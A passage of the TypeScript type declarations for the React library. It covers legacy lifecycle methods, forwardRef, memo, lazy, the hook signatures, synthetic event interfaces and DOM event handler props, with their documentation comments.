https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillReceiveProps?(nextProps: Readonly<P>, nextContext: any): void; /** * Called when the component may be receiving new props. * React may call this even if props have not changed, so be sure to compare new and existing * props if you only want to handle changes. * * Calling {@link Component.setState} generally does not trigger this method. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use static {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#updating-state-based-on-props} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillReceiveProps?(nextProps: Readonly<P>, nextContext: any): void; /** * Called immediately before rendering when new props or state is received. Not called for the initial render. * * Note: You cannot call {@link Component.setState} here. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use getSnapshotBeforeUpdate instead; will stop working in React 17 * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#reading-dom-properties-before-an-update} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ componentWillUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): void; /** * Called immediately before rendering when new props or state is received. Not called for the initial render. * * Note: You cannot call {@link Component.setState} here. * * This method will not stop working in React 17. * * Note: the presence of {@link NewLifecycle.getSnapshotBeforeUpdate getSnapshotBeforeUpdate} * or {@link StaticLifecycle.getDerivedStateFromProps getDerivedStateFromProps} prevents * this from being invoked. * * @deprecated 16.3, use getSnapshotBeforeUpdate instead * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#reading-dom-properties-before-an-update} * @see {@link https://legacy.reactjs.org/blog/2018/03/27/update-on-async-rendering.html#gradual-migration-path} */ UNSAFE_componentWillUpdate?(nextProps: Readonly<P>, nextState: Readonly<S>, nextContext: any): void; } /** * @deprecated * * @see {@link https://legacy.reactjs.org/blog/2016/07/13/mixins-considered-harmful.html Mixins Considered Harmful} */ interface Mixin<P, S> extends ComponentLifecycle<P, S> { mixins?: Array<Mixin<P, S>> | undefined; statics?: { [key: string]: any; } | undefined; displayName?: string | undefined; propTypes?: ValidationMap<any> | undefined; contextTypes?: ValidationMap<any> | undefined; childContextTypes?: ValidationMap<any> | undefined; getDefaultProps?(): P; getInitialState?(): S; } /** * @deprecated * * @see {@link https://legacy.reactjs.org/blog/2016/07/13/mixins-considered-harmful.html Mixins Considered Harmful} */ interface ComponentSpec<P, S> extends Mixin<P, S> { render(): ReactNode; [propertyName: string]: any; } function createRef<T>(): RefObject<T>; /** * The type of the component returned from {@link forwardRef}. * * @template P The props the component accepts, if any. * * @see {@link ExoticComponent} */ interface ForwardRefExoticComponent<P> extends NamedExoticComponent<P> { /** * @deprecated Use {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#default_value|default values for destructuring assignments instead}. */ defaultProps?: Partial<P> | undefined; propTypes?: WeakValidationMap<P> | undefined; } /** * Lets your component expose a DOM node to a parent component * using a ref. * * @see {@link https://react.dev/reference/react/forwardRef React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/ React TypeScript Cheatsheet} * * @param render See the {@link ForwardRefRenderFunction}. * * @template T The type of the DOM node. * @template P The props the component accepts, if any. * * @example * * ```tsx * interface Props { * children?: ReactNode; * type: "submit" | "button"; * } * * export const FancyButton = forwardRef<HTMLButtonElement, Props>((props, ref) => ( * <button ref={ref} className="MyClassName" type={props.type}> * {props.children} * </button> * )); * ``` */ function forwardRef<T, P = {}>( render: ForwardRefRenderFunction<T, P>, ): ForwardRefExoticComponent<PropsWithoutRef<P> & RefAttributes<T>>; /** * Omits the 'ref' attribute from the given props object. * * @template P The props object type. */ type PropsWithoutRef<P> = // Omit would not be sufficient for this. We'd like to avoid unnecessary mapping and need a distributive conditional to support unions. // see: https://www.typescriptlang.org/docs/handbook/2/conditional-types.html#distributive-conditional-types // https://github.com/Microsoft/TypeScript/issues/28339 P extends any ? ("ref" extends keyof P ? Omit<P, "ref"> : P) : P; /** Ensures that the props do not include string ref, which cannot be forwarded */ type PropsWithRef<P> = // Note: String refs can be forwarded. We can't fix this bug without breaking a bunch of libraries now though. // Just "P extends { ref?: infer R }" looks sufficient, but R will infer as {} if P is {}. "ref" extends keyof P ? P extends { ref?: infer R | undefined } ? string extends R ? PropsWithoutRef<P> & { ref?: Exclude<R, string> | undefined } : P : P : P; type PropsWithChildren<P = unknown> = P & { children?: ReactNode | undefined }; /** * Used to retrieve the props a component accepts. Can either be passed a string, * indicating a DOM element (e.g. 'div', 'span', etc.) or the type of a React * component. * * It's usually better to use {@link ComponentPropsWithRef} or {@link ComponentPropsWithoutRef} * instead of this type, as they let you be explicit about whether or not to include * the `ref` prop. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentProps<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentProps = React.ComponentProps<typeof MyComponent>; * ``` */ type ComponentProps<T extends keyof JSX.IntrinsicElements | JSXElementConstructor<any>> = T extends JSXElementConstructor<infer P> ? P : T extends keyof JSX.IntrinsicElements ? JSX.IntrinsicElements[T] : {}; /** * Used to retrieve the props a component accepts with its ref. Can either be * passed a string, indicating a DOM element (e.g. 'div', 'span', etc.) or the * type of a React component. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentPropsWithRef<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithRef = React.ComponentPropsWithRef<typeof MyComponent>; * ``` */ type ComponentPropsWithRef<T extends ElementType> = T extends (new(props: infer P) => Component<any, any>) ? PropsWithoutRef<P> & RefAttributes<InstanceType<T>> : PropsWithRef<ComponentProps<T>>; /** * Used to retrieve the props a custom component accepts with its ref. * * Unlike {@link ComponentPropsWithRef}, this only works with custom * components, i.e. components you define yourself. This is to improve * type-checking performance. * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithRef = React.CustomComponentPropsWithRef<typeof MyComponent>; * ``` */ type CustomComponentPropsWithRef<T extends ComponentType> = T extends (new(props: infer P) => Component<any, any>) ? (PropsWithoutRef<P> & RefAttributes<InstanceType<T>>) : T extends ((props: infer P, legacyContext?: any) => ReactNode) ? PropsWithRef<P> : never; /** * Used to retrieve the props a component accepts without its ref. Can either be * passed a string, indicating a DOM element (e.g. 'div', 'span', etc.) or the * type of a React component. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/componentprops/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Retrieves the props an 'input' element accepts * type InputProps = React.ComponentPropsWithoutRef<'input'>; * ``` * * @example * * ```tsx * const MyComponent = (props: { foo: number, bar: string }) => <div />; * * // Retrieves the props 'MyComponent' accepts * type MyComponentPropsWithoutRef = React.ComponentPropsWithoutRef<typeof MyComponent>; * ``` */ type ComponentPropsWithoutRef<T extends ElementType> = PropsWithoutRef<ComponentProps<T>>; type ComponentRef<T extends ElementType> = T extends NamedExoticComponent< ComponentPropsWithoutRef<T> & RefAttributes<infer Method> > ? Method : ComponentPropsWithRef<T> extends RefAttributes<infer Method> ? Method : never; // will show `Memo(${Component.displayName || Component.name})` in devtools by default, // but can be given its own specific name type MemoExoticComponent<T extends ComponentType<any>> = NamedExoticComponent<CustomComponentPropsWithRef<T>> & { readonly type: T; }; /** * Lets you skip re-rendering a component when its props are unchanged. * * @see {@link https://react.dev/reference/react/memo React Docs} * * @param Component The component to memoize. * @param propsAreEqual A function that will be used to determine if the props have changed. * * @example * * ```tsx * import { memo } from 'react'; * * const SomeComponent = memo(function SomeComponent(props: { foo: string }) { * // ... * }); * ``` */ function memo<P extends object>( Component: FunctionComponent<P>, propsAreEqual?: (prevProps: Readonly<P>, nextProps: Readonly<P>) => boolean, ): NamedExoticComponent<P>; function memo<T extends ComponentType<any>>( Component: T, propsAreEqual?: (prevProps: Readonly<ComponentProps<T>>, nextProps: Readonly<ComponentProps<T>>) => boolean, ): MemoExoticComponent<T>; interface LazyExoticComponent<T extends ComponentType<any>> extends ExoticComponent<CustomComponentPropsWithRef<T>> { readonly _result: T; } /** * Lets you defer loading a component’s code until it is rendered for the first time. * * @see {@link https://react.dev/reference/react/lazy React Docs} * * @param load A function that returns a `Promise` or another thenable (a `Promise`-like object with a * then method). React will not call `load` until the first time you attempt to render the returned * component. After React first calls load, it will wait for it to resolve, and then render the * resolved value’s `.default` as a React component. Both the returned `Promise` and the `Promise`’s * resolved value will be cached, so React will not call load more than once. If the `Promise` rejects, * React will throw the rejection reason for the nearest Error Boundary to handle. * * @example * * ```tsx * import { lazy } from 'react'; * * const MarkdownPreview = lazy(() => import('./MarkdownPreview.js')); * ``` */ function lazy<T extends ComponentType<any>>( load: () => Promise<{ default: T }>, ): LazyExoticComponent<T>; // // React Hooks // ---------------------------------------------------------------------- /** * The instruction passed to a {@link Dispatch} function in {@link useState} * to tell React what the next value of the {@link useState} should be. * * Often found wrapped in {@link Dispatch}. * * @template S The type of the state. * * @example * * ```tsx * // This return type correctly represents the type of * // `setCount` in the example below. * const useCustomState = (): Dispatch<SetStateAction<number>> => { * const [count, setCount] = useState(0); * * return setCount; * } * ``` */ type SetStateAction<S> = S | ((prevState: S) => S); /** * A function that can be used to update the state of a {@link useState} * or {@link useReducer} hook. */ type Dispatch<A> = (value: A) => void; /** * A {@link Dispatch} function can sometimes be called without any arguments. */ type DispatchWithoutAction = () => void; // Unlike redux, the actions _can_ be anything type Reducer<S, A> = (prevState: S, action: A) => S; // If useReducer accepts a reducer without action, dispatch may be called without any parameters. type ReducerWithoutAction<S> = (prevState: S) => S; // types used to try and prevent the compiler from reducing S // to a supertype common with the second argument to useReducer() type ReducerState<R extends Reducer<any, any>> = R extends Reducer<infer S, any> ? S : never; type ReducerAction<R extends Reducer<any, any>> = R extends Reducer<any, infer A> ? A : never; // The identity check is done with the SameValue algorithm (Object.is), which is stricter than === type ReducerStateWithoutAction<R extends ReducerWithoutAction<any>> = R extends ReducerWithoutAction<infer S> ? S : never; type DependencyList = readonly unknown[]; // NOTE: callbacks are _only_ allowed to return either void, or a destructor. type EffectCallback = () => void | Destructor; interface MutableRefObject<T> { current: T; } // This will technically work if you give a Consumer<T> or Provider<T> but it's deprecated and warns /** * Accepts a context object (the value returned from `React.createContext`) and returns the current * context value, as given by the nearest context provider for the given context. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useContext} */ function useContext<T>(context: Context<T> /*, (not public API) observedBits?: number|boolean */): T; /** * Returns a stateful value, and a function to update it. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useState} */ function useState<S>(initialState: S | (() => S)): [S, Dispatch<SetStateAction<S>>]; // convenience overload when first argument is omitted /** * Returns a stateful value, and a function to update it. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useState} */ function useState<S = undefined>(): [S | undefined, Dispatch<SetStateAction<S | undefined>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where dispatch could accept 0 arguments. function useReducer<R extends ReducerWithoutAction<any>, I>( reducer: R, initializerArg: I, initializer: (arg: I) => ReducerStateWithoutAction<R>, ): [ReducerStateWithoutAction<R>, DispatchWithoutAction]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where dispatch could accept 0 arguments. function useReducer<R extends ReducerWithoutAction<any>>( reducer: R, initializerArg: ReducerStateWithoutAction<R>, initializer?: undefined, ): [ReducerStateWithoutAction<R>, DispatchWithoutAction]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload where "I" may be a subset of ReducerState<R>; used to provide autocompletion. // If "I" matches ReducerState<R> exactly then the last overload will allow initializer to be omitted. // the last overload effectively behaves as if the identity function (x => x) is the initializer. function useReducer<R extends Reducer<any, any>, I>( reducer: R, initializerArg: I & ReducerState<R>, initializer: (arg: I & ReducerState<R>) => ReducerState<R>, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // overload for free "I"; all goes as long as initializer converts it into "ReducerState<R>". function useReducer<R extends Reducer<any, any>, I>( reducer: R, initializerArg: I, initializer: (arg: I) => ReducerState<R>, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * An alternative to `useState`. * * `useReducer` is usually preferable to `useState` when you have complex state logic that involves * multiple sub-values. It also lets you optimize performance for components that trigger deep * updates because you can pass `dispatch` down instead of callbacks. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useReducer} */ // I'm not sure if I keep this 2-ary or if I make it (2,3)-ary; it's currently (2,3)-ary. // The Flow types do have an overload for 3-ary invocation with undefined initializer. // NOTE: without the ReducerState indirection, TypeScript would reduce S to be the most common // supertype between the reducer's return type and the initialState (or the initializer's return type), // which would prevent autocompletion from ever working. // TODO: double-check if this weird overload logic is necessary. It is possible it's either a bug // in older versions, or a regression in newer versions of the typescript completion service. function useReducer<R extends Reducer<any, any>>( reducer: R, initialState: ReducerState<R>, initializer?: undefined, ): [ReducerState<R>, Dispatch<ReducerAction<R>>]; /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T>(initialValue: T): MutableRefObject<T>; // convenience overload for refs given as a ref prop as they typically start with a null value /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * Usage note: if you need the result of useRef to be directly mutable, include `| null` in the type * of the generic argument. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T>(initialValue: T | null): RefObject<T>; // convenience overload for potentially undefined initialValue / call with 0 arguments // has a default to stop it from defaulting to {} instead /** * `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument * (`initialValue`). The returned object will persist for the full lifetime of the component. * * Note that `useRef()` is useful for more than the `ref` attribute. It’s handy for keeping any mutable * value around similar to how you’d use instance fields in classes. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useRef} */ function useRef<T = undefined>(): MutableRefObject<T | undefined>; /** * The signature is identical to `useEffect`, but it fires synchronously after all DOM mutations. * Use this to read layout from the DOM and synchronously re-render. Updates scheduled inside * `useLayoutEffect` will be flushed synchronously, before the browser has a chance to paint. * * Prefer the standard `useEffect` when possible to avoid blocking visual updates. * * If you’re migrating code from a class component, `useLayoutEffect` fires in the same phase as * `componentDidMount` and `componentDidUpdate`. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useLayoutEffect} */ function useLayoutEffect(effect: EffectCallback, deps?: DependencyList): void; /** * Accepts a function that contains imperative, possibly effectful code. * * @param effect Imperative function that can return a cleanup function * @param deps If present, effect will only activate if the values in the list change. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useEffect} */ function useEffect(effect: EffectCallback, deps?: DependencyList): void; // NOTE: this does not accept strings, but this will have to be fixed by removing strings from type Ref<T> /** * `useImperativeHandle` customizes the instance value that is exposed to parent components when using * `ref`. As always, imperative code using refs should be avoided in most cases. * * `useImperativeHandle` should be used with `React.forwardRef`. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useImperativeHandle} */ function useImperativeHandle<T, R extends T>(ref: Ref<T> | undefined, init: () => R, deps?: DependencyList): void; // I made 'inputs' required here and in useMemo as there's no point to memoizing without the memoization key // useCallback(X) is identical to just using X, useMemo(() => Y) is identical to just using Y. /** * `useCallback` will return a memoized version of the callback that only changes if one of the `inputs` * has changed. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useCallback} */ // A specific function type would not trigger implicit any. // See https://github.com/DefinitelyTyped/DefinitelyTyped/issues/52873#issuecomment-845806435 for a comparison between `Function` and more specific types. // eslint-disable-next-line @typescript-eslint/ban-types function useCallback<T extends Function>(callback: T, deps: DependencyList): T; /** * `useMemo` will only recompute the memoized value when one of the `deps` has changed. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useMemo} */ // allow undefined, but don't make it optional as that is very likely a mistake function useMemo<T>(factory: () => T, deps: DependencyList): T; /** * `useDebugValue` can be used to display a label for custom hooks in React DevTools. * * NOTE: We don’t recommend adding debug values to every custom hook. * It’s most valuable for custom hooks that are part of shared libraries. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useDebugValue} */ // the name of the custom hook is itself derived from the function name at runtime: // it's just the function name without the "use" prefix. function useDebugValue<T>(value: T, format?: (value: T) => any): void; // must be synchronous export type TransitionFunction = () => VoidOrUndefinedOnly; // strange definition to allow vscode to show documentation on the invocation export interface TransitionStartFunction { /** * State updates caused inside the callback are allowed to be deferred. * * **If some state update causes a component to suspend, that state update should be wrapped in a transition.** * * @param callback A _synchronous_ function which causes state updates that can be deferred. */ (callback: TransitionFunction): void; } /** * Returns a deferred version of the value that may “lag behind” it. * * This is commonly used to keep the interface responsive when you have something that renders immediately * based on user input and something that needs to wait for a data fetch. * * A good example of this is a text input. * * @param value The value that is going to be deferred * * @see {@link https://react.dev/reference/react/useDeferredValue} */ export function useDeferredValue<T>(value: T): T; /** * Allows components to avoid undesirable loading states by waiting for content to load * before transitioning to the next screen. It also allows components to defer slower, * data fetching updates until subsequent renders so that more crucial updates can be * rendered immediately. * * The `useTransition` hook returns two values in an array. * * The first is a boolean, React’s way of informing us whether we’re waiting for the transition to finish. * The second is a function that takes a callback. We can use it to tell React which state we want to defer. * * **If some state update causes a component to suspend, that state update should be wrapped in a transition.** * * @see {@link https://react.dev/reference/react/useTransition} */ export function useTransition(): [boolean, TransitionStartFunction]; /** * Similar to `useTransition` but allows uses where hooks are not available. * * @param callback A _synchronous_ function which causes state updates that can be deferred. */ export function startTransition(scope: TransitionFunction): void; /** * Wrap any code rendering and triggering updates to your components into `act()` calls. * * Ensures that the behavior in your tests matches what happens in the browser * more closely by executing pending `useEffect`s before returning. This also * reduces the amount of re-renders done. * * @param callback A synchronous, void callback that will execute as a single, complete React commit. * * @see https://reactjs.org/blog/2019/02/06/react-v16.8.0.html#testing-hooks */ // While act does always return Thenable, if a void function is passed, we pretend the return value is also void to not trigger dangling Promise lint rules. export function act(callback: () => VoidOrUndefinedOnly): void; export function act<T>(callback: () => T | Promise<T>): Promise<T>; export function useId(): string; /** * @param effect Imperative function that can return a cleanup function * @param deps If present, effect will only activate if the values in the list change. * * @see {@link https://github.com/facebook/react/pull/21913} */ export function useInsertionEffect(effect: EffectCallback, deps?: DependencyList): void; /** * @param subscribe * @param getSnapshot * * @see {@link https://github.com/reactwg/react-18/discussions/86} */ // keep in sync with `useSyncExternalStore` from `use-sync-external-store` export function useSyncExternalStore<Snapshot>( subscribe: (onStoreChange: () => void) => () => void, getSnapshot: () => Snapshot, getServerSnapshot?: () => Snapshot, ): Snapshot; // // Event System // ---------------------------------------------------------------------- // TODO: change any to unknown when moving to TS v3 interface BaseSyntheticEvent<E = object, C = any, T = any> { nativeEvent: E; currentTarget: C; target: T; bubbles: boolean; cancelable: boolean; defaultPrevented: boolean; eventPhase: number; isTrusted: boolean; preventDefault(): void; isDefaultPrevented(): boolean; stopPropagation(): void; isPropagationStopped(): boolean; persist(): void; timeStamp: number; type: string; } /** * currentTarget - a reference to the element on which the event listener is registered. * * target - a reference to the element from which the event was originally dispatched. * This might be a child element to the element on which the event listener is registered. * If you thought this should be `EventTarget & T`, see https://github.com/DefinitelyTyped/DefinitelyTyped/issues/11508#issuecomment-256045682 */ interface SyntheticEvent<T = Element, E = Event> extends BaseSyntheticEvent<E, EventTarget & T, EventTarget> {} interface ClipboardEvent<T = Element> extends SyntheticEvent<T, NativeClipboardEvent> { clipboardData: DataTransfer; } interface CompositionEvent<T = Element> extends SyntheticEvent<T, NativeCompositionEvent> { data: string; } interface DragEvent<T = Element> extends MouseEvent<T, NativeDragEvent> { dataTransfer: DataTransfer; } interface PointerEvent<T = Element> extends MouseEvent<T, NativePointerEvent> { pointerId: number; pressure: number; tangentialPressure: number; tiltX: number; tiltY: number; twist: number; width: number; height: number; pointerType: "mouse" | "pen" | "touch"; isPrimary: boolean; } interface FocusEvent<Target = Element, RelatedTarget = Element> extends SyntheticEvent<Target, NativeFocusEvent> { relatedTarget: (EventTarget & RelatedTarget) | null; target: EventTarget & Target; } interface FormEvent<T = Element> extends SyntheticEvent<T> { } interface InvalidEvent<T = Element> extends SyntheticEvent<T> { target: EventTarget & T; } interface ChangeEvent<T = Element> extends SyntheticEvent<T> { target: EventTarget & T; } export type ModifierKey = | "Alt" | "AltGraph" | "CapsLock" | "Control" | "Fn" | "FnLock" | "Hyper" | "Meta" | "NumLock" | "ScrollLock" | "Shift" | "Super" | "Symbol" | "SymbolLock"; interface KeyboardEvent<T = Element> extends UIEvent<T, NativeKeyboardEvent> { altKey: boolean; /** @deprecated */ charCode: number; ctrlKey: boolean; code: string; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; /** * See the [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#named-key-attribute-values). for possible values */ key: string; /** @deprecated */ keyCode: number; locale: string; location: number; metaKey: boolean; repeat: boolean; shiftKey: boolean; /** @deprecated */ which: number; } interface MouseEvent<T = Element, E = NativeMouseEvent> extends UIEvent<T, E> { altKey: boolean; button: number; buttons: number; clientX: number; clientY: number; ctrlKey: boolean; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; metaKey: boolean; movementX: number; movementY: number; pageX: number; pageY: number; relatedTarget: EventTarget | null; screenX: number; screenY: number; shiftKey: boolean; } interface TouchEvent<T = Element> extends UIEvent<T, NativeTouchEvent> { altKey: boolean; changedTouches: TouchList; ctrlKey: boolean; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; metaKey: boolean; shiftKey: boolean; targetTouches: TouchList; touches: TouchList; } interface UIEvent<T = Element, E = NativeUIEvent> extends SyntheticEvent<T, E> { detail: number; view: AbstractView; } interface WheelEvent<T = Element> extends MouseEvent<T, NativeWheelEvent> { deltaMode: number; deltaX: number; deltaY: number; deltaZ: number; } interface AnimationEvent<T = Element> extends SyntheticEvent<T, NativeAnimationEvent> { animationName: string; elapsedTime: number; pseudoElement: string; } interface TransitionEvent<T = Element> extends SyntheticEvent<T, NativeTransitionEvent> { elapsedTime: number; propertyName: string; pseudoElement: string; } // // Event Handler Types // ---------------------------------------------------------------------- type EventHandler<E extends SyntheticEvent<any>> = { bivarianceHack(event: E): void }["bivarianceHack"]; type ReactEventHandler<T = Element> = EventHandler<SyntheticEvent<T>>; type ClipboardEventHandler<T = Element> = EventHandler<ClipboardEvent<T>>; type CompositionEventHandler<T = Element> = EventHandler<CompositionEvent<T>>; type DragEventHandler<T = Element> = EventHandler<DragEvent<T>>; type FocusEventHandler<T = Element> = EventHandler<FocusEvent<T>>; type FormEventHandler<T = Element> = EventHandler<FormEvent<T>>; type ChangeEventHandler<T = Element> = EventHandler<ChangeEvent<T>>; type KeyboardEventHandler<T = Element> = EventHandler<KeyboardEvent<T>>; type MouseEventHandler<T = Element> = EventHandler<MouseEvent<T>>; type TouchEventHandler<T = Element> = EventHandler<TouchEvent<T>>; type PointerEventHandler<T = Element> = EventHandler<PointerEvent<T>>; type UIEventHandler<T = Element> = EventHandler<UIEvent<T>>; type WheelEventHandler<T = Element> = EventHandler<WheelEvent<T>>; type AnimationEventHandler<T = Element> = EventHandler<AnimationEvent<T>>; type TransitionEventHandler<T = Element> = EventHandler<TransitionEvent<T>>; // // Props / DOM Attributes // ---------------------------------------------------------------------- interface HTMLProps<T> extends AllHTMLAttributes<T>, ClassAttributes<T> { } type DetailedHTMLProps<E extends HTMLAttributes<T>, T> = ClassAttributes<T> & E; interface SVGProps<T> extends SVGAttributes<T>, ClassAttributes<T> { } interface SVGLineElementAttributes<T> extends SVGProps<T> {} interface SVGTextElementAttributes<T> extends SVGProps<T> {} interface DOMAttributes<T> { children?: ReactNode | undefined; dangerouslySetInnerHTML?: { // Should be InnerHTML['innerHTML']. // But unfortunately we're mixing renderer-specific type declarations. __html: string | TrustedHTML; } | undefined; // Clipboard Events onCopy?: ClipboardEventHandler<T> | undefined; onCopyCapture?: ClipboardEventHandler<T> | undefined; onCut?: ClipboardEventHandler<T> | undefined; onCutCapture?: ClipboardEventHandler<T> | undefined; onPaste?: ClipboardEventHandler<T> | undefined; onPasteCapture?: ClipboardEventHandler<T> | undefined; // Composition Events onCompositionEnd?: CompositionEventHandler<T> | undefined; onCompositionEndCapture?: CompositionEventHandler<T> | undefined; onCompositionStart?: CompositionEventHandler<T> | undefined; onCompositionStartCapture?: CompositionEventHandler<T> | undefined; onCompositionUpdate?: CompositionEventHandler<T> | undefined; onCompositionUpdateCapture?: CompositionEventHandler<T> | undefined; // Focus Events onFocus?: FocusEventHandler<T> | undefined; onFocusCapture?: FocusEventHandler<T> | undefined; onBlur?: FocusEventHandler<T> | undefined; onBlurCapture?: FocusEventHandler<T> | undefined; // Form Events onChange?: FormEventHandler<T> | undefined; onChangeCapture?: FormEventHandler<T> | undefined; onBeforeInput?: FormEventHandler<T> | undefined; onBeforeInputCapture?: FormEventHandler<T> | undefined; onInput?: FormEventHandler<T> | undefined; onInputCapture?: FormEventHandler<T> | undefined; onReset?: FormEventHandler<T> | undefined; onResetCapture?: FormEventHandler<T> | undefined; onSubmit?: FormEventHandler<T> | undefined; onSubmitCapture?: FormEventHandler<T> | undefined; onInvalid?: FormEventHandler<T> | undefined; onInvalidCapture?: FormEventHandler<T> | undefined; // Image Events onLoad?: ReactEventHandler<T> | undefined; onLoadCapture?: ReactEventHandler<T> | undefined; onError?: ReactEventHandler<T> | undefined; // also a Media Event onErrorCapture?: ReactEventHandler<T> | undefined; // also a Media Event // Keyboard Events onKeyDown?: KeyboardEventHandler<T> | undefined; onKeyDownCapture?: KeyboardEventHandler<T> | undefined; /** @deprecated */ onKeyPress?: KeyboardEventHandler<T> | undefined; /** @deprecated */ onKeyPressCapture?: KeyboardEventHandler<T> | undefined; onKeyUp?: KeyboardEventHandler<T> | undefined; onKeyUpCapture?: KeyboardEventHandler<T> | undefined; // Media Events onAbort?: ReactEventHandler<T> | undefined; onAbortCapture?: ReactEventHandler<T> | undefined; onCanPlay?: ReactEventHandler<T> | undefined; onCanPlayCapture?: ReactEventHandler<T> | undefined; onCanPlayThrough?: ReactEventHandler<T> | undefined; onCanPlayThroughCapture?: ReactEventHandler<T> | undefined; onDurationChange?: ReactEventHandler<T> | undefined; onDurationChangeCapture?: ReactEventHandler<T> | undefined; onEmptied?: ReactEventHandler<T> | undefined; onEmptiedCapture?: ReactEventHandler<T> | undefined; onEncrypted?: ReactEventHandler<T> | undefined; onEncryptedCapture?: ReactEventHandler<T> | undefined; onEnded?: ReactEventHandler<T> | undefined; onEndedCapture?: ReactEventHandler<T> | undefined; onLoadedData?: ReactEventHandler<T> | undefined; onLoadedDataCapture?: ReactEventHandler<T> | undefined; onLoadedMetadata?: ReactEventHandler<T> | undefined; onLoadedMetadataCapture?: ReactEventHandler<T> | undefined; onLoadStart?: ReactEventHandler<T> | undefined; onLoadStartCapture?: ReactEventHandler<T> | undefined; onPause?: ReactEventHandler<T> | undefined; onPauseCapture?: ReactEventHandler<T> | undefined; onPlay?: ReactEventHandler<T> | undefined; onPlayCapture?: ReactEventHandler<T> | undefined; onPlaying?: ReactEventHandler<T> | undefined; onPlayingCapture?: ReactEventHandler<T> | undefined; onProgress?: ReactEventHandler<T> | undefined; onProgressCapture?: ReactEventHandler<T> | undefined; onRateChange?: ReactEventHandler<T> | undefined; onRateChangeCapture?: ReactEventHandler<T> | undefined; onResize?: ReactEventHandler<T> | undefined; 